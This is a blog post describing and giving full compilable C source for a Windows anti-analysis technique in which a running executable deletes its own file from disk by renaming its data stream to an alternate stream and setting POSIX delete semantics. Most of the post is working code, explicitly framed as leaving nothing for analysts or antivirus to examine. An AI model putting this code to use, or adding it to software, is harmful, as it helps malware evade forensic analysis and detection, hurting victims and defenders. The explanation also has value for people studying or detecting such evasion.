Post

AntiDebugging-SelfDeletion

AntiDebugging-SelfDeletion

What is it?

The running executable deletes itself from disk while still executing in memory. By the time it finishes, there’s no file for analysts or AV to examine. The process continues running normally from its already-loaded memory image.

How it works

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
GetModuleFileNameW(NULL, wcFileName)
  → Gets full path of current executable (e.g. C:\Users\...\malware.exe)

_rdrand32_step(&uRandomV)
  → Uses CPU RDRAND hardware instruction for a random 32-bit value
  → Builds a random ADS name like :3fa21c:4e7b00

Step 1: Rename to alternate data stream
  CreateFileW(wcFileName, DELETE | SYNCHRONIZE, FILE_SHARE_READ|WRITE|DELETE)
  SetFileInformationByHandle(FileRenameInfo, ":3fa21c:4e7b00")
  CloseHandle()
  
  File on disk:   malware.exe:3fa21c:4e7b00  ← primary stream renamed
                  (the "visible" filename entry is now an ADS)

Step 2: Mark for deletion
  CreateFileW(wcFileName, DELETE | SYNCHRONIZE, ...)  ← reopen same path
  FileDisposalInfoEx.Flags = FILE_DISPOSITION_FLAG_DELETE
                            | FILE_DISPOSITION_FLAG_POSIX_SEMANTICS
  SetFileInformationByHandle(FileDispositionInfoEx, ...)
  CloseHandle()  ← file is deleted when handle closes

Step 3: Process keeps running
  printf("[+] %s Should Be Deleted\n", argv[0])
  getchar()  ← still alive, file is gone

Two specific design choices worth understanding:

The ADS rename step is necessary because Windows normally prevents deletion of a running executable (the image section lock). Renaming the primary data stream to an ADS effectively disconnects the visible filename from the section backing the process, which allows the POSIX-delete to proceed.

FILE_DISPOSITION_FLAG_POSIX_SEMANTICS is what makes it work on a running binary. Without it, Windows refuses to delete a file while any process has it mapped. POSIX semantics lift that restriction — the file is unlinked from the directory immediately, but the actual disk blocks stay valid as long as any handle (including the kernel’s image section) references them.

SelfDeletion.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#include <Windows.h>
#include <stdio.h>
#include <intrin.h>

#define NEW_STREAM ":N0xshell"
#define RAND_MAX 0x7FFF

// Static -> only visible within the current translation unit.
// Uses the CPU RDRAND instruction to generate a random 32-bit value.
static unsigned int rdrand32(void) {
	UINT32 uRandomV = 0x00;

	if (_rdrand32_step(&uRandomV)) {
		return (uRandomV % (RAND_MAX + 1u));
	}

	return 0;
}

BOOL DeleteSelf(void) {

	WCHAR wcNewStream[7] = L":%x%x\x00";
	BOOL bState = FALSE;

	// Buffer that receives the fully qualified path of the current executable.
	WCHAR wcFileName[MAX_PATH * 2] = { 0x00 };

	FILE_RENAME_INFO RenameInfo = { 0 };
	RenameInfo.FileNameLength = sizeof(wcNewStream);
	RenameInfo.ReplaceIfExists = FALSE;
	RenameInfo.RootDirectory = NULL;

	FILE_DISPOSITION_INFO_EX FileDisposalInfoEx = { 0 };

	// Handle to the current executable.
	HANDLE hLocalImgFile = INVALID_HANDLE_VALUE;

	// Retrieve the fully qualified path of the current executable.
	if (GetModuleFileNameW(NULL, wcFileName, MAX_PATH * 2) == 0x00) {
		printf("[!] GetModuleFileNameW Failed: %d \n", GetLastError());
		goto _End;
	}

	// Generate a random alternate data stream name.
	swprintf(RenameInfo.FileName, MAX_PATH, wcNewStream, rdrand32(), rdrand32());

	// Open the current executable with delete access.
	if ((hLocalImgFile = CreateFileW(wcFileName, DELETE | SYNCHRONIZE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, NULL, NULL)) == INVALID_HANDLE_VALUE) {
		printf("[!] CreateFileW %d Failed: %d \n", __LINE__, GetLastError());
		return bState;
	}

	// Rename the file's alternate data stream.
	if (!SetFileInformationByHandle(hLocalImgFile, FileRenameInfo, &RenameInfo, sizeof(RenameInfo))) {
		printf("[!] SetFileInformationByHandle %d Failed: %lu\n", __LINE__, GetLastError());
		goto _End;
	}

	CloseHandle(hLocalImgFile);

	// Reopen the executable before marking it for deletion.
	if ((hLocalImgFile = CreateFileW(wcFileName, DELETE | SYNCHRONIZE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, NULL, NULL)) == INVALID_HANDLE_VALUE) {
		printf("[!] CreateFileW %d Failed: %d \n", __LINE__, GetLastError());
		goto _End;
	}

	// Configure POSIX-style delete-on-close semantics.
	FileDisposalInfoEx.Flags = FILE_DISPOSITION_FLAG_DELETE | FILE_DISPOSITION_FLAG_POSIX_SEMANTICS;

	// Mark the file for deletion.
	if (!SetFileInformationByHandle(hLocalImgFile, FileDispositionInfoEx, &FileDisposalInfoEx, sizeof(FILE_DISPOSITION_INFO_EX))) {
		printf("[!] SetFileInformationByHandle %d Failed: %d \n", __LINE__, GetLastError());
		goto _End;
	}

	bState = TRUE;

_End:

	// Ensure any open handle is released.
	if (hLocalImgFile != INVALID_HANDLE_VALUE)
		CloseHandle(hLocalImgFile);

	return bState;
}

int main(int argc, char* argv[]) {

	if (!DeleteSelf()) {
		return -1;
	}

	printf("[+] %s Should Be Deleted \n", argv[0]);

	printf("[!] Press <Enter> To Quit \n");
	getchar();

	return 0;

}

structs.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#pragma once

#include <Windows.h>

typedef enum _FILE_INFO_BY_HANDLE_CLASS {
    FileBasicInfo,
    FileStandardInfo,
    FileNameInfo,
    FileRenameInfo,
    FileDispositionInfo,
    FileAllocationInfo,
    FileEndOfFileInfo,
    FileStreamInfo,
    FileCompressionInfo,
    FileAttributeTagInfo,
    FileIdBothDirectoryInfo,
    FileIdBothDirectoryRestartInfo,
    FileIoPriorityHintInfo,
    FileRemoteProtocolInfo,
    FileFullDirectoryInfo,
    FileFullDirectoryRestartInfo,
    FileStorageInfo,
    FileAlignmentInfo,
    FileIdInfo,
    FileIdExtdDirectoryInfo,
    FileIdExtdDirectoryRestartInfo,
    FileDispositionInfoEx,
    FileRenameInfoEx,
    FileCaseSensitiveInfo,
    FileNormalizedNameInfo,
    MaximumFileInfoByHandleClass
} FILE_INFO_BY_HANDLE_CLASS;

typedef struct _FILE_RENAME_INFO {
    BOOLEAN ReplaceIfExists;
    HANDLE  RootDirectory;
    DWORD   FileNameLength;
    WCHAR   FileName[MAX_PATH];
} FILE_RENAME_INFO, * PFILE_RENAME_INFO;
This post is licensed under CC BY 4.0 by the author.